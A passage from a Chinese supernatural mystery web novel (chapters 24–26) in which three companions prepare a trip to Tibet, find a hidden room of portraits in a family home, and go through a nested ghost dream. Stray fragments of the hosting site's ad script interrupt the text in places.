然而书里那些富人家有的通病,卫家也未能免俗——卫父卫母很少回家,在年幼的卫斯诚心里,两年能见到爸妈一次都已经是天大的恩赐了。 很小的时候尚有保姆和家教老师能把卫斯诚管住,他也确实称得上懂事又乖巧。可快到了上学的年纪,他开始变成“狗都嫌”的样子。 先是撒泼打滚不去学校,好不容易被老师哄进了校门,还不到半天就把班里的同学打得嚎啕大哭。父母在外地赶不回来,就由管家出面解决。 紧接着又离家出走,差点被人贩子拐卖。再后来,砸父亲的藏品、到处给人送母亲的首饰…桩桩件件,没有一件能让人心平气和地处理。 终于有一天,管家先受不了了,给卫父卫母打了个电话,坚决表示要辞职,夫妻俩这才回来一趟。 “小小年纪,恶贯满盈。”卫父回来以后对儿子的评价是这样的。 “既然家里和学校都容不下你这尊大佛,那就去别的地方吧。” 父亲说完,母亲也没有什么多余的话叮嘱,只点了点头表示同意,俩人就又走了。就这样,卫斯诚第二天被送到了姜泠和师父身边。 一开始他也是试图反抗过的,但总以失败告终——想要砸东西,师父的房子里没什么可砸的;想要粘着人胡闹,师父和师姐没一个搭理他。 偶尔真的干点坏事出来,师姐只会拎着他的领子让他自己善后,否则就会陷入没人管、没饭吃的境地。 善后几次,卫斯诚老实了。他开始有礼貌地打招呼,学着帮师父和师姐干点微不足道的小事。基于此,师父也开始敦促他学习,既送他去学校上课,也告诉他关于骨医的知识。 至于师姐姜泠,虽然人是冷冰冰的,但对他的照料一点儿不少。遇到被欺负的时候,师姐还会帮他出头。渐渐的,卫斯诚把姜泠当成自己的亲姐姐看待。 来到师父这儿之后,父母来探望他的次数反而比在家里的时候要多。只不过他们从不一起来,通常是卫父上半年来,卫母下半年来。 卫父卫母从来不会在孩子面前说一句对方的不好,卫斯诚也从没听说他们吵架。后来他才明白,有一种关系是“貌合神离”,自己的爸妈就是这样。 这种关系一直到今天都还没变,卫斯诚也懒得回家,他觉得和师父师姐在一起更有家的感觉。大学毕业以后,他回到师父那儿,开始帮忙打理医馆。 师父失踪以后,骨医的生意就全权由卫斯诚来负责了。 “上个星期我妈给我打电话,她让我去趟西藏,帮她从朋友那儿取个东西回来。”说到这儿,卫斯诚犹豫了一下,“虽说我跟她也不怎么亲,但她毕竟是我妈。再说她也从来没求过我什么,我也就没拒绝。” “那我能帮什么忙?”凌岓问。 “我去查了查她说的地方,完全不是正常人会涉足的地方。我跟老郑打听了一下,听说您就是在那一带服役的,对那边比较熟悉。老郑说没有人比凌哥更合适一起去,所以就来请您当我们的向导。” “我们?”被邀请的人问,“姜大夫也去?” “嗯。”姜泠回答他,“师弟的妈妈说,有人在西藏见到了师父。” 24. 第二十四章 行前 等到凌岓欣然同意的时候,天色都暗了下来。一转眼,又到了饭点。 “不一起吃饭了?”洪钟问。 “不了,我们先回去,收拾收拾东西。”临别前,卫斯诚又和另外两人握了握手,“回去以后给凌哥发地址,我在家等你。” 目送姜泠他们的车开出去很远,凌岓才想起来还有一些问题没问。他和洪钟两人走在路上,低头回味着今天刚知道的那些信息。 不知不觉已经立秋了,偶尔吹起一阵风,带给人独属于秋天的寒意。 “还想今天的事儿呢?”洪钟擅长察言观色,只看一眼身边人的表情动作,就能把对方心里所想猜个八九不离十。 “嗯。”回答的人依旧是低头看地,“还有些事情没来得及问。” “嗨哟,来日方长,不急这一时半会儿的。” 在茶馆熏陶了大半天,看见眼前出现一家包子铺,洪钟当即拉着凌岓去买了几个包子。 包子刚出笼,还冒着热腾腾的白气。轻轻咬一口,裹着虾仁的汁水便立时涌了出来,足以叫人忘掉所有烦恼。 “明天早上带你去吃我们津门第一的煎饼果子。”洪钟最喜欢三鲜馅的包子,连着一口气吃了好几个,这才又开口,“保准你吃了还想再吃!” “老洪,这次你去吗?”凌岓没有接着煎饼果子继续讨论。 “我?”说话的人嘴里的食物还没完全咽下去,回答起来也是含糊不清的,“我干嘛去?你也看到了,要说做你们的智囊团还行,可这长途跋涉我是真不合适…” “倒也是,那我们就随时保持联系吧。” 洪钟说得没错,那家传说中的“津门第一煎饼果子”的确好吃。大清早来上一套夹着果篦的煎饼果子,凌岓觉得整个人都有种灵魂舒展的愉悦感。 昨晚看到发过来的地址,凌岓难得舒了口气——卫斯诚和自己在一个城市里,甚至他家离自己家也不远,就隔着一条马路。这样一来,他也不急着来回赶路了,决意先回家休息一下再赴约。 “你小子还知道回来呢。”人刚一进门,何槿颐女士就知道是谁了。 “老妈,你不会真生气了吧。”来人把行李箱往门口一扔,大剌剌地躺在了自家地毯上。 “我不生气。我只是觉得你像一艘没有锚的船,也像一片没根的树叶,每天只会天南海北地飘啊飘。”何女士专心致志看着她的书,还不忘阴阳两句。 “那你是说对了,我这两天还得飘出去一趟。”躺在地上的人爬起来,回到门口把自己的行李箱拖过来。 “又飘哪儿去?” “西藏。” “西藏?挺好。”何槿颐挑挑眉,没再多说什么。 凌岓冲完澡,换了一身稍显正式的西装,准备走到对面小区去。 “哟,穿这么正式,去相亲啊?”凌峰不知道什么时候回来的,一见儿子穿成这样,忍不住大惊小怪一番。 “去朋友家,商量一下去西藏的事儿。” “朋友家在哪儿?让你何叔开车送你去…” “不麻烦,就对面那小区,去去就来!” 凌峰话还没说完,他的好大儿就像风一样跑出门去了。 “对面小区?”凌峰转身问妻子,“这小子哪个朋友住对面?” “不知道,最近刚认识的吧。”何女士嘴上这么说着,心里也好奇起来。 从家里走到对面十分钟都不到,但凌岓最后悔的就是去卫斯诚家之前没做好心理建设——他家里的气氛实在让人坐立不安。 “是小诚的朋友吧,请坐。” 卫斯诚端端正正地坐在他家的沙发上,坐姿比凌岓见他的任何时候都板正。他的母亲明樾则是穿着一身墨绿色的无袖旗袍靠在一旁,举止优雅,脸上还挂着标准且疏离的笑容。 “伯母好。”家里的阿姨端来一只英式茶杯放在凌岓面前,后者犹豫了半天才勉强坐定。 “辛苦你了。”明樾看了客人一眼,“先喝点茶吧。” 凌岓端起茶杯,试图在这种气氛中找到点什么缓解办法,一抬头却看见对面的卫斯诚如蒙大赦一般冲他说了些什么——“你总算来了。” “你姐呢?”凌岓也用唇语和对方交流。 “马上就来。” “那现在是在干嘛?” “陪我妈喝茶。” 这两人就这样如坐针毡地对看了半小时,终于听到了特赦令一样的门铃声响起。 “抱歉,来迟了。”姜泠今天扎了一个高丸子头,穿着一身运动服,看起来有点像刚下课的大学生, “小姜来了,请坐。”明樾依旧保持着她的优雅坐姿,说起话来也还是没有多余的词句。 “你们说到哪儿了?”没听见另外两人的声音,姜泠干脆直接发问。 “我们…我们还什么都没说呢。”卫斯诚小声回应。 “那现在说。”姜泠也不坐,直截了当地给出问题,“您要我们去哪儿?取什么东西?怎么取?” 话音落地,卫斯诚倒吸一口凉气:他从来不敢这么跟沉默寡言的母亲说话。反倒是一旁的凌岓窃喜——魔法对轰诚不我欺。 “小姜还是和以前一样,做什么都有效率。”明樾微微一笑,起身上了楼。 “姐,你咋才来啊!”卫斯诚看着母亲的背影,狠狠松了口气,“你再不来我就要憋疯了。” “这不是你妈么?你们怎么一句话都不说?”相比之下,凌岓突然觉得自家何女士的阴阳怪气竟然如此可爱。 “我妈,我们家的相处氛围一直这样。你现在知道为啥我不愿意回家了吧?就是因为…” 卫斯诚的声音戛然而止——明樾从楼上下来了,手里还捧着一个雕花木盒。 木盒不算大,却十分精致。镂空雕花的盒盖上镶着一颗指甲盖大小的珍珠;盒身上挂着一把如意形状的锁,还散发出一股浅浅的茉莉香。 明樾手里拿着一把老式黄铜钥匙,钥匙对准锁孔插进去,轻轻一拧,锁就开了。 盒子里统共四件东西——半块玉佩;一方手帕;一支鎏金錾花钿头钗和一把有些生锈的长钥匙。 “你们要去的地方在藏北,是一个叫芝则的小镇子。”明樾小心翼翼地把半块玉佩从盒子里拿出来,看了又看。 “到了芝则,你们把这半块玉交到一户姓兰的人家手里。他们会交给你们一个长匣子。用这把钥匙打开匣子,里面应该有一支一模一样的发钗和一副古画,那就是我拜托你们要带回来的东西。” “古画。”卫斯诚探着头瞅了瞅盒子里的东西,斟酌了半天开口问道,“妈,这不是文物吧?” “当然不是。”明樾轻轻抚摸着盒子里的东西,“这是她留下来的东西,只是暂时保管在芝则。” “另外,还要拜托你们拿到画以后,把这条手帕烧掉,烧完的灰和进水里,抹在画的卷轴上。如果卷轴变颜色了,那就确定东西没有问题。” “我的朋友会在拉萨接你们,到那儿以后的吃穿住行你们不用操心,我都安排好了。”明樾轻轻合上盒盖,把它万分小心地交到姜泠手上。 “我已经定好晚上吃饭的地方了,一会儿小诚会带你们过去的。按照礼数,我是应该要作陪的,但现在确实还有要紧事要处理,这次就不和你们一起了。” 明樾俯下身鞠了一躬,吓得凌岓和卫斯诚赶紧上前扶。手还没碰到胳膊,就听见她郑重其事地说,“这件东西对我而言太过重要,但凡有一点办法,我都会自己过去取的。这次实在是拜托你们了。” “妈,你…”卫斯诚语塞,不明白究竟是什么样的画能让母亲如此重视。 晚饭订在了一家私房小馆,小馆开在一座园林里,环境清雅。 “你说,到底什么画让她这么上心?” 一道道精致的小菜端上来,说话的人一点儿胃口都没有,“我妈对我都没这么上心过。” “不知道啊。”凌岓也觉得奇怪,听起来这幅画对于卫母极其重要,可是这么重要的东西怎么会放在离东南如此遥远的芝则呢? “你可以问问阿姨,她说的那个‘她’是谁。”想到明樾说的话,姜泠猜想那位画的主人应该和她关系密切。 “问她?她也未必告诉我啊!” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“你们也看到了,我和我妈的相处是多么客气。”卫斯诚灵光一闪,“我倒觉得,事在人为。与其问她,还不如趁她不在去她房里找找线索。” “这不好吧。”凌岓不大赞同这种做法,“她不说就不问了呗。父母也有自己的隐私嘛。” “我就随口一说,哪能真去翻她东西啊。”出主意的人撇撇嘴,开始专心致志吃饭。 吃完饭出来,卫斯诚接了个电话先回家去了。 “要不要走一会儿,消消食?反正现在还早,闲着也是闲着。”怕尴尬,凌岓没抱什么希望向身边的人客套了一句。 “好啊。”对方欣然答应,反倒让邀约的人懵了一下。 “之前没机会问,真没想到我们会在一个城市。” 银杏树上的叶子已经黄了大半,这条街上没什么人,橙黄色的路灯把人影拉长,拉出一片难得平静的氛围。这是几个月来,凌岓第一次真正觉得放松。 “嗯,是很巧合。” 姜泠从没和人这样闲聊过,她听着两人出奇一致的走路声,还在想刚刚自己为什么会答应。 “你师父,应该是个很好的人吧。”找不到合适的共同话题,凌岓就想到什么聊什么。 “嗯,他是个很有意思的小老头。”谈起师父,姜泠这座万年冰山终于融化了些,脸上难得浮现出一点温柔。 “找我们看病的,大多不会是为了活人。所以做骨医,并不是什么很有意思的事情。他在教我这些本事的时候,我都觉得枯燥又无聊。但我师父什么时候都乐呵呵的,也不知道哪有那么多高兴的事。” “一听就知道他是个性格很好的人。” “也可能是因为我和师弟都不是什么省油的灯。”姜泠莞尔一笑,终于有了点“人味”,“我是不好相处的人,他是没有安全感的问题儿童。反正小老头为了我们,操了不少心。” “小时候喝药,我嫌苦,就会直接把它倒掉。为了哄我,师父把这里所有种类的糖都买回去,然后一遍一遍地重新熬药,直到我不闹脾气了为止。” “怕我自保成问题,他把他的看家本事都教给我了,还花了那么多钱让我去学什么搏击格斗。担心我以后和别人不好相处,他就想尽办法带我去不同的地方见不同的人,告诉我他们说这句话的时候是什么心情,说那句话的时候又该怎么做才能避免冲突。” “说起来,我也不是什么让他省心的懂事小孩。”想起过去种种,说话的人怅然若失。 “小的时候谁没干过混账事儿啊。”凌岓默默看着身边人的侧脸,觉得她好像也不是那么难相处。 “那后来,他为什么会失踪?” “不知道。”姜泠吐出一口长长的气,“三年前的十二月一号,那天雪下得特别特别大。师父说他要去接一个朋友,然后就再没回来过了。” “报警了吗?” “报了。能问的都问了,能找的地方都找了。他整个人就像凭空消失了一样,什么都没留下。” “那之后,我和师弟到处跑,也接了不少工作,但还是什么都没打听到。明阿姨是三年来第一个告诉我们有关师父消息的人,只是她知道的也不多。所以这次,我必须跟师弟一起去。” “你也不是没感情啊。”凌岓突然怀疑眼前人是不是被骗了,“至少你对你师父,对卫斯诚都很好。冰山归冰山,对他们的关心可不像假的。” “其实也不是非要那颗心不可。”姜泠伸出手,一片树叶不偏不倚落在她掌心,“只是没有心,就感知不到太多浓烈的情感。对于以前的事情,也就不可能想起来。” “干嘛非要想起以前的事情?万一以前过得不好,想起来反而让人觉得痛苦。” “无论以前过得好不好,那都是属于我的一部分。我师父说,没有记忆的人就像没有根的树,算不上一个完完全全的人。” “还有一个原因是,我也想知道我的眼睛到底是怎么看不到的。” 凌岓哑然,不知道该怎么接话。手机铃声适时响起,替他填补了沉默。 “卫斯诚说,他在他家发现了一个暗室,要我们现在过去。” 25. 第二十五章 密室画 谁看见了凭空出现的地下第二层都得大吃一惊——譬如现在,凌岓正和卫斯诚并排站着,一起瞪大眼睛盯着眼前向下的楼梯。 “你确定这是你家?”左边的人先开口。 “确定。”右边的人再回答。 “你以前,就从来没发现过还有这么个地儿?”左边的人继续问。 “没有啊!”右边的人看了看楼梯那头黑黢黢的地方,坚决摇头。 “我本来说去储物室拿点明天要带的东西,结果灯坏了。也不知道被什么玩意儿绊了一下,这个就出现了。”卫斯诚说着,还不忘看一眼身后那个位于地下一层的储物间。 “下去看看不就知道了。“姜泠不明白身边这俩人,出现在家里的暗室有什么好大惊小怪的。 卫斯诚准备去找两支手电筒,但一转头看见墙上的开关,顺手就按下去了。 “咔哒”一声——楼梯两侧的灯亮了起来,楼梯下对着的红木门立刻便被这头的人看得清清楚楚。 “这怎么还有把锁,等我去上面拿个榔头…” “哎哎哎别拿那个。”凌岓扽住身边人的衣服,把他拽了回来,“用榔头砸就太明显了,伯父伯母一回来就会知道是谁干的。” “那你说怎么办?” “撬…撬吧。碰巧我学过这个手艺。” 或许是年代有些久了,这把老式挂锁没费凌岓多大力就被打开了。推门进去,一股沾着潮湿霉味的灰尘扑面而来。 “咳咳,这放得什么这是…” 卫斯诚摸了半天没摸到开关,眼前突然一亮——姜泠手里攥着一截拉线。 “你家风格还挺齐全。” 凌岓借着老式拉线灯的昏暗光亮,把眼前的屋子扫了一圈,得出这个结论。 一张旧桌子、一条长木凳、两面靠着墙的大衣柜,还有一个挂在头顶上的拉线灯——这就是这个房间里所有的东西。 桌子上有许多裂开的细缝,姜泠柔软的指腹触到满是裂痕的桌面时,一股极浓烈的情感涌入她的脑海。她触电般地缩回手,趔趄着向后退了两步。 “怎么了?”凌岓下意识伸手在后面拦了一把,随即走上前也跟着摸了摸桌面,“没什么不对啊。” “刚刚没站稳。”姜泠含糊着应付过去,却感觉自己被惊出了一身冷汗——即便在湔山或是六溪,她也从未遇到过这样强烈的情感附着在某个物件上。 “嘶——”两个大衣柜完全占据了房中的两面墙,卫斯诚拉开其中一个衣柜的门后,倒吸一口凉气——这个衣柜中挂满了画。 除了挂着的,柜子中仅有的两个抽屉里也塞满了放着画卷的锦盒。 不同于房间里已经生满霉点的墙壁,柜子里的画被保存得很好。衣柜里里外外都被人刷上了厚厚的桐油;挂在柜墙上的画被覆上了厚厚的防水膜;那些锦盒外面也套着全封闭的玻璃罩子。 “这是…仕女图吗?”凌岓应声走过去,仔细看了看,又察觉出什么不对,“这画的,好像都是同一个人啊。” 正面的、侧面的、长幅的、方寸的…每一幅画上都有且只有一个人,一个神态姿势各异却眉眼相同的女人。 凌岓走到另一个柜子前,伸手拉开了柜门,里面亦是如此——全放着画有同一个女人的画。 画里的女人有时坐在案几前、有时倚在树荫下;有时手里握着一把团扇、有时指尖捏着一支毛笔…… 单从画上看,这女人生的很有特色。 她长着最标准的鹅蛋脸;一双杏眼流转无尽波光。她的两片嘴唇有些厚,和圆润的鼻头搭在一起,却恰到好处地构成一副圆润温和的面相。 “这就是传说中的珠圆玉润吧。”卫斯诚看得有些呆了,画里的人绝不是现代意义上的大美人,却另有一番风韵。 “你认识她吗?”听完凌岓的描述,姜泠转头问自己的师弟。 “肯定不认识啊。”被问的人拨浪鼓似的摇头,“这一看就是古代人,我又没穿越,别说认识了,连和她长得像的都没见过。” “这会不会是古代的哪个名人?”凌岓用软件识了半天图,没一个和画中人相似的,“还是出自哪个著名的画师?” 经他这么一提醒,卫斯诚赶紧上前看了看画上的落款。果不其然,每幅画的作者都一样——青木。 “青木是谁?”好不容易发现了些端倪,结果却是一个无处可查的名字。 “会不会是阿姨?”姜泠在一旁轻轻问道。 “不可能吧。”站在衣柜前的人一愣,斩钉截铁地否认,“我妈又不叫青木,再说也没见她会画画啊。” “我们要不还是问问伯父伯母吧。”凌岓觉得这样盲猜毫无意义,还不如直接问清楚。 “算了算了。”卫斯诚把柜门关上,“就像你说的,万一真是他俩谁的隐私呢?我岂不是要闯祸?” “这是什么?”顺着声音看过去,姜泠手上正拿着一个长方形的东西,那长方形上面刻着几道花纹,看起来像是铜器。 “管它是什么呢。”卫斯诚把长方形的铜物件揣进自己口袋里,“我们只拿这一个,有机会顺着这个查一查。” 挂锁被重新挂回红木门的时候,姜泠似乎听见有人跟她说了声“后会有期”。那声音温柔极了,只是隐隐约约的,让人听不大真切。 回家的时候,何槿颐和凌峰坐在客厅里,双双把目光投向了进门的人身上。 “还没睡啊?”凌岓被这俩人盯得发毛。 “老实交代,今天见谁去了?”何槿颐笑眯眯地看着儿子,只是她的笑里还带着八卦的意味。 “见朋友啊。” “什么朋友?男的女的?”凌峰也跟着凑热闹。 “有男有女。”凌岓端起杯子,将里面的水一饮而尽。对于父母的这种打探,他早就习以为常了。 “可是我们只看到了你和一个女孩子走在一起哦。”何女士笑意盈盈地又给儿子的杯子里倒满了水。 “嗷,那也是朋友。吃完饭顺路一起散个步而已。” “顺路?以前从没见你这么顺路过。”何女士还想说什么,却被凌岓打断了。 “妈,刚好有个事儿要问问你。你说,什么样的人会把一个名不见经传的古人画像都搜集起来放在家里?” “个人爱好吧,可能是出自哪个著名大家呢。” “不可能,那个人的藏品里只画了这一个人。哪个大家会只盯着一个人画?” “那倒是。现在学美术的,模特都不止一个呢。”凌父点点头表示赞同。 “那要么就是,画里的人或者这个作者和收藏者有不一样的关系。”何女士把手边的书合上,若有所思: “任何艺术作品都寄予着作者的感情。而收藏这些作品的原因不出其三。” “一是作者水平高超,在某个领域里首屈一指,有人为了作品极高的艺术价值而收藏;二是作者本人特立独行或是绝无仅有,没办法和作者本人挂钩,就想办法和出自他手的作品有点联系;其三就是,这个收藏的人和作品中的内容或是作者有不一样的感情。” “比如呢?”凌岓问。 “比如《红楼梦》。有的人收藏它是为了它的文学价值;有的人是为了搞研究;还有的人,则是和曹雪芹或者他书里的某个角色产生了共鸣。” “那您觉得,我说的这个人属于哪种情况?” “当然是第三种啦。按照你的说法,这个人收藏的画里都是固定对象,画师也不是张大千、徐悲鸿那种名家。这就说明画里的人十有八九和他有关系。要么他是被画的人,要么,他就是画家本人。” “很有道理,谢谢妈!”凌岓点点头,转身飞奔上了楼。 “这小子,又让他把话题带跑了。”何槿颐一脸宠爱地嗔怪着,突然又想起什么,“他说的这个收藏画的人是谁?我好像也认识这么一个朋友。” 飞机晚点,一行三人到贡嘎国际机场的时候,天都黑了。 八月的拉萨比东南沿海要冷。白天尚且还算得上温度宜人,到了晚上,气温骤降,一出机场,冷得人忍不住打寒颤。 出于刻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 板印象,卫斯诚以为母亲安排来接待的友人会是一个身穿藏袍、带着红二团的当地人。然而事实上,等在机场的寸头穿着一件皮夹克,戴着一副墨镜,显得十分潮流。 “小卫!”寸头男人摘下墨镜,一见面就给了卫斯诚一个大大的拥抱,“好久不见!” “啊…我认识您吗?”被热情拥抱的人一脸不知所措。 “你忘啦!你小时候我还抱过你呢!我是你的远房表哥!” “……表哥好。”卫斯诚从寸头怀里挣脱,看了看身边两人,介绍道,“这是我姐,姜泠。这位是凌岓,我很好的朋友。这次他们和我一起办事儿。” “欢迎!”寸头看了眼时间,“给你们订了盒饭,车上吃吧。我们现在直接去芝则。” 行至一半,路上突然刮起飘飘扬扬的雪花。一个老牧民跟在牦牛群后面慢吞吞地走着,对于突然下雪的情况司空见惯。颠簸了两个多小时,众人终于来到了这座叫芝则的小城。 住宿的地方是一个有些年头的小旅馆——确切来说,应该是一个开在犄角旮旯里的招待所。招待所门口的招牌上闪着只亮一半的小彩灯,一行人进来的时候,前台裹着大衣的年轻人正说着梦话。 “达玛今天不在,你们先将就一下住在这里。我的房间就在小卫隔壁,有什么问题都可以来找我。”寸头也就最初见面时有点热情,再往后一路他都没怎么说话,直到现在办理完入住。 “这里有点不对劲。”等寸头回到他的房间,姜泠悄悄拉住凌岓和卫斯诚。 “哪里不对?”卫斯诚四下看了看,确定没有什么异常,“脏是脏了点,但没看出什么不对啊。” “味道不对。”姜泠向四周探了探头,“有股死人的味道。” 另外两人听闻此言,立刻做出一副防备的姿态。 “没闻见腐臭味儿。”凌岓也用力闻了闻周围的空气,除了隐隐的霉味,什么都没有。 “不是遗体腐烂的味道,是冤魂不散的味道。”姜泠说着,指了指前方,“最尽头是味道最重的地方,住在那儿的话,你们得打起精神。” 招待所的房门背后还是那种最古老的插销锁,在住的人看来,这无非是稍微用点力就能破坏掉的摆设。 “以前老听人家说,住宾馆的时候绝对不能住走廊尽头的房间,据说那种房子最招鬼。”卫斯诚把背包往地上一扔,瘫在床边那个腿脚不稳的椅子上,“现在好了,轮到自己了。” “别太担心。”凌岓把一次性床单被套铺好,“你姐不是说让我们小心嘛,又没说一定会发生什么。早点睡吧,别明天早上又起不来。” “睡——” 话音未落,屋子里的窗户突然被吹开了。紧接着,呼呼啦啦的凉风夹杂着雪花灌进来,吹得屋中人睁不开眼。 “他们打扫房间都不关窗户的么…”好不容易把大开的几扇窗户关上,卫斯诚嚼了一嘴冰碴子。 “我记得我们进来的时候,窗户明明是关着的。”凌岓也没好到哪儿去,他拧开床头的矿泉水漱了漱口,心里觉得奇怪。 这句话一出口,另一人就沉默了。过了许久,卫斯诚悠悠问出一句:“我姐说的不会是真的吧,这屋子里真有东西?” “不好说。”另一人看了看正对着床的那面发黄的墙和挂在上面的方形黑框钟,“先睡觉吧,别睡得太死。” 嚓、嚓、嚓… 嘀嗒、嘀嗒、嘀嗒… 两人刚有了点睡意,就被墙上钟表的指针声和卫生间的水滴声叫醒了。 “什么动静!”卫斯诚一骨碌翻起身,当场把挂钟取下来,拆掉了里面的电池。 接着,他又用毛巾把浴室的水龙头紧紧绑上,确定没有滴水声后,才又舒舒服服地躺回床上。 这种“舒服”并没有维持太久——两人迷迷瞪瞪睡过去没多久,被拆掉电池的大方钟又开始运行起来;浴室的水龙头也又渐渐传出“嘀嗒”的水声。 凌岓睡得浅,听见动静的时候刚睁开眼,先前那几扇被吹开的窗户就“吱呀”一声敞开了。 26. 第二十六章 梦中梦 窗外狂风如倒灌的海水一般涌入,房门被风紧紧压住,怎么拽都拽不开。屋里的两个人只好裹着被子缩在床边,试图等到风小一点再移动。 约莫过了十几分钟,风的呼啸终于渐渐弱了下去。取而代之的,是玻璃裂开的声音。 凌岓探出半个脑袋往窗户那边看,什么都没看到。正在他以为没什么问题,准备起身拿东西的时候,一个白色的身体挡住了他。 “你要去哪里啊?”问出问题的声音冰冷又哀怨,像刚从阴冷的河里爬出来一样。 “你要去哪里啊?” 声音的主人又重复了一遍这个问题,她慢慢弯下腰,歪着头冲眼前裹着被子的两个人微微一笑,“你们想去哪里呀?” 不等两个人反应过来,这个面色惨白的女人就攥住了两人的手。霎时,被钳制住的两个人只觉得自己从头发丝到脚指甲都被冻住了,接着迎来的就是麻木——浑身上下没有半点知觉的麻木。 “唔唔…嗯…” 除了身上的麻木,两人连话都说不出来,更别提挣脱了。 “这么多年,终于又等到活人了。”女人说着,用她那十根又尖又长的黑指甲划过了面前人的脸,“长得倒是不赖,不知道是什么味道…” 她凑得越来越近,身上的臭味也愈发浓重,熏得两个无力挣脱的人直想吐。 眼看这女人就要贴上来了,只听“咣”一声巨响——房间门被人从外面踹开了,是姜泠。她像天神下凡一样托着一盏柳叶形的香炉,里面的香气盘旋着飞到空中,让整个房子里的温度升上来了许多。 托着香炉的人念念有词地说着什么,散发着臭味的女人听了半天,流下两行血泪。她什么也没说,径直走到窗边跳了下去。 “她是谁?”手脚的触觉回来了,凌岓赶紧拿好东西拽着卫斯诚出门。 “不清楚。” 姜泠手中的香燃尽了,三个人站在招待所的走廊里,眼睁睁看着走廊的墙壁扭曲、破碎、又融为一体。 木桌、衣柜、画卷——扭曲停止之后,三个人定睛一看,还在卫家那个地下二层的密室里。 “刚刚那是个梦吗?”卫斯诚挠了挠头,还没来得及细想,就一脸震惊地看到画里的女人活了过来。 两个大衣柜慢慢褪去了颜色,一点一点回归到了树的形状;霉点斑驳的白墙轰然倒塌,映入眼帘的是草长莺飞的春景。画中的女人此刻就在这春景中,倚着一棵柳树小憩。 “我们现在在哪?”凌岓看着眼前的变化,努力让自己冷静下来,“在密室?还是在芝则?” 闭着眼的女人似乎听到了动静,在问题刚刚落地时,缓缓睁开了眼。她穿着一身桃粉色的襦裙,外面还披着一件米白的毛斗篷,此刻信步走来,活像一株会移动的桃花。 “不知三位贵客从何而来?”女人走到三人跟前,行了个见面礼。 无人应答——被问到的三人还没弄明白眼下的情况。 “三位贵客远道而来,想必也是为了一睹柳园百亩桃花开的风华吧。”这女人并不因为无人回答她而恼怒,反倒侃侃而谈起来。 “只可惜,‘人间四月芳菲尽’[1],三位来的不是时候,错过了桃林最美的那几天。” “请问,现在是哪一年?”姜泠听着听着觉得不对,先挑了一个最好回答的问题问。 “建炎三年。” “青素!” 不等三人梳理完建炎三年是哪朝哪代,又一个人出现了。那人从远处飞奔而来,一把揽住了眼前的姑娘。 “青素,我告诉你个好消息…” “妈?”卫斯诚看着这个突然出现的人,脑子里一团浆糊。 “谁是你妈?” 和那位桃花一样的姑娘不同,这个飞奔过来的女人棱角分明,眉眼间尽显英气,说起话来也没有软绵绵的感觉。 “你是我妈。” 卫家各处都有明樾的照片,她年轻时的样子早就刻在了卫斯诚心里。眼前这张脸和明樾一模一样,连鼻尖上的红痣都丝毫不差,这不是自己的母亲还能是谁? “你看着也比我差不了几岁,怎么还好意思碰瓷?是不是见了人你就要喊妈?” “哪跟哪啊,你是不是叫明樾?” “是又怎么了?姓名一个读法的人多了去了,难道每个叫这名字的都是你妈?” 卫斯诚苦恼地搓了搓头发,他不知道怎样才能让母亲记起自己。 “阿木,他可能是认错人了吧。”桃花姑娘开口,嫣然一笑,“你别说,这位小公子长得和你还真有几分相似。” “谁跟他相似!我们快走,别和这种疯疯癫癫的人纠缠!” 叫阿木的女人拽着桃花姑娘就要离开,卫斯诚想追上去解释,对方却一脸凶狠地转过头盯着他:“你要跟着我们吗?” 只一句话,两个女孩的脸瞬间变得惨白,十指指甲以极快的速度生长着,很快就和芝则招待所里的人重合在了一起。 “woc?”卫斯诚没忍住,脱口而出一句国骂,旋即转身就跑。 跑到一半,他发现姜泠和凌岓没跟上来,又赶紧折返回去。见那两人木呆呆地站在柳树下,他急得跳脚:“愣着干嘛快跑啊!” “他们跑不掉了!”那鬼魅般的女人从两人中间钻出来,发出刺耳的笑声。 再然后,卫斯诚眼前一黑,什么都不知道了。 “醒了?”温柔的声音传到耳朵里,听着熟悉。 顶灯从头上照下来,照得床上的人下意识用手挡在眼前。卫斯诚迷迷糊糊看见母亲坐在床边,手里还拿着一只瓷碗,当即一蹦三尺高—— “你你你…你是人是鬼?你把我姐怎么着了?你离我远点!” “你这孩子,喝了多少酒。”见状,明樾嗔怪着伸出手探了探儿子的前额,“倒是不发烧了,再多休息休息吧,过两天再去西藏算了。” “喝酒?喝什么酒?”卫斯诚疑惑。 “你不是昨晚和我们分开以后去和同学喝酒了吗?”凌岓的脸出现在眼前,他也摸了摸卫斯诚的额头,确定没发烧。 “喝什么酒?昨天晚上我不是叫你和我姐来看我们家那密室吗?”床上的人此刻顾不得谁的脸色,他几乎要跳起来了。 “看来孟医生说的没错,他可能就是发癔症了。”明樾一脸无奈,叹着气走出了房间,姜泠跟着进来了。 “姐,姐你从不骗人的。你说我们昨晚在哪?是不是在我家那个密室里?”看见姜泠,卫斯诚像看见了救命稻草。 “哪有密室?”姜泠反问,“你呀,做噩梦了吧。” 最亲近的人都没和自己站在一边,卫斯诚觉得孤立无援,急得想抓狂。他的大脑中闪过密室里的一幕幕场景,最后强迫自己冷静下来。 “姐,可能你们说得对,我真是喝断片了。” “那你们在哪找到我的?我当时身边没别人了?”卫斯诚反客为主,希望从对面两人的话里抓住他们帮着母亲撒谎的把柄。 “是伯母找到你的,我们不知道具体情况。”凌岓麻利接过话茬,把锅推给了明樾,“伯母说你生病了,去西藏的事情要迟两天。我们反正也没事儿,就来看看你。” “姐?”卫斯诚无比真诚地看向床边的姑娘。 “阿姨说,你是喝多以后吹了凉风,所以才会发烧。”对凌岓刚刚那番说辞,姜泠不承认也不否认,“好好休息吧,等完全好了再去西藏。” 卫斯诚不再辩解什么。只是目送着两人离开房间后,他一个翻身下床,躲在了楼梯拐角处。 “谢谢你们。”他听见母亲的声音响起。 “应该的。”凌岓回答她。 “很抱歉,把你们也牵涉进来了。”明樾又说了一句没头没脑的话。 “希望小诚早点好起来吧。”这句来自姜泠。 卫斯诚回到房间,怎么想怎么觉得奇怪——芝则和桃林经历的事情是梦,他毫无疑义。可要说那个真实存在的密室也是梦,他一百八十个不信。 母亲和同伴的对话没有什么实质内容,听起来也没什么不对的地方。可他就是觉得哪里怪怪的,尤其是母亲那句“抱歉”的话。 “他们肯定有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 事瞒着我。”卫斯诚在备忘录里打下这几个字,又飞快地把这句话删掉。 